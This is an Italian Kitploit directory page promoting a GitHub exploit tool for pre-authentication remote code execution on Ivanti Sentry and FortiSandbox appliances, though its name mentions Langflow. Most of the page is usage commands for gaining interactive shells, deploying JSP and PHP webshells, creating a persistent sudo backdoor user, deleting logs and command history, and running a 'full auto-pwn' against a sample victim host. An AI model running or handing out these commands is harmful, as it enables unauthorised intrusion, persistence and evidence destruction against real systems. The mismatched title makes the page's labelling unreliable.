Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5027-Langflow — Strumento di sfruttamento multi-CVE per l'esecuzione remota di codice pre-auth su Ivanti Sentry e FortiSandbox. Include shell interattiva, distribuzione di webshell, creazione di utenti backdoor e pulizia dei log per test di penetrazione. | Kitploit
Strumenti/GitHubGitHub/layer-6/cve-2026-5027-langflow
Escalation di PrivilegiMeccanismi di PersistenzaAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingCommand and ControlRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Strumento di Accesso Remoto
Sviluppo Payload
GitHublayer-6/cve-2026-5027-langflow

CVE-2026-5027-Langflow

Strumento di sfruttamento multi-CVE per l'esecuzione remota di codice pre-auth su Ivanti Sentry e FortiSandbox. Include shell interattiva, distribuzione di webshell, creazione di utenti backdoor e pulizia dei log per test di penetrazione.

Vedi Repository
2 mesi faNon ancora revisionato

(CVE-2026-5027) e (CVE-2026-10520) (CVE-2026-25089) exploiter:

Clone

root@kitploit:~
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow

Utilizzo (file exploit.py)

Test automatico e sfruttamento.

root@kitploit:~
python3 exploit.py -u https://target.com

Impostazioni personalizzate CLI

Usa il tuo webshell quando la shell è dentro una cartella:

root@kitploit:~
python3 exploit.py -u https://target.com --shell

(📁shells/my-shell.php)

Quando la shell è nella cartella dello strumento o nel terminale senza una cartella:

root@kitploit:~
python3 exploit.py -u https://target.com --shell my-shell.php

Il tuo webshell può essere (PHP, Python (CGI), Perl, Ruby, ASPX).

Puoi impostare il timeout con --t e caricare/usare payload o percorsi personalizzati da cartelle e file con --p:

root@kitploit:~
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |

Esempio:

root@kitploit:~
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt

Utilizzo del file (exploitt.py)

Progettato per le seguenti CVE:

· CVE-2026-10520 (CVSS 10.0)

· CVE-2026-25089 (CVSS 9.1)

Esecuzione di codice remoto pre‑autenticazione

Nessuna credenziale richiesta.

📖 Utilizzo

Avvio rapido - menu interattivo (nessun argomento)

root@kitploit:~
python3 exploitt.py

Poi segui le istruzioni:

1. Scegli il tipo di target (Ivanti o Forti)

  1. Inserisci l'URL del target (es. https://192.168.1.100:8443)
  2. Imposta timeout, proxy, modalità debug
  3. Scegli l'azione (comando, shell, webshell, ecc.)

Riga di comando (avanzato)

1. Ivanti Sentry (CVE-2026-10520)

root@kitploit:~
# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"

# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s

# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w

# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
  1. FortiSandbox (CVE-2026-25089)
root@kitploit:~
# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"

# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt

# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w

# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
  1. Rilevamento automatico (lo script indovina il servizio)
root@kitploit:~
python3 exploitt.py -u https://target.example.com -c "id"
  1. Usa proxy e debug
root@kitploit:~
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"

Argomenti da riga di comando disponibili

Argomento Descrizione -u, --url URL target (es. https://192.168.1.100:8443) --type Forza servizio: ivanti o forti (opzionale, rilevamento automatico) -t, --timeout Timeout della richiesta in secondi (default 30) --proxy Proxy HTTP/HTTPS (es. http://127.0.0.1:8080) -d, --debug Abilita output di debug --ua Stringa User‑Agent personalizzata -c, --cmd Esegue un singolo comando ed esce -s, --shell Avvia shell interattiva -w, --webshell Distribuisce un webshell (PHP per Forti, JSP per Ivanti) -p, --persist Crea utente backdoor persistente con sudo --clean Elimina log e cronologia comandi dopo lo sfruttamento

Comandi della shell interattiva

Comando Esempio Descrizione normal command id Esegue qualsiasi comando di sistema upload upload exploit.sh /tmp/backdoor.sh Carica file locale sull'host remoto exit exit Esce dalla shell

Dettagli sul deployment del webshell

· Ivanti Sentry – distribuisce una shell .jsp dentro Tomcat webapps (/usr/local/tomcat/webapps/ROOT/) · Accesso tramite https://target/shell_random.jsp?cmd=whoami · FortiSandbox – distribuisce una shell .php nella web root (/var/www/html/) · Accesso tramite https://target/shell_random.php?cmd=whoami

Esempio di flusso di lavoro (test di penetrazione completo)

root@kitploit:~
# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s

# 2. Inside the shell, check privileges
id

# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w

# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p

# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean

Dal canale Telegram Red:

https://t.me/Red_Rooted_Ghost

Scarica lo strumento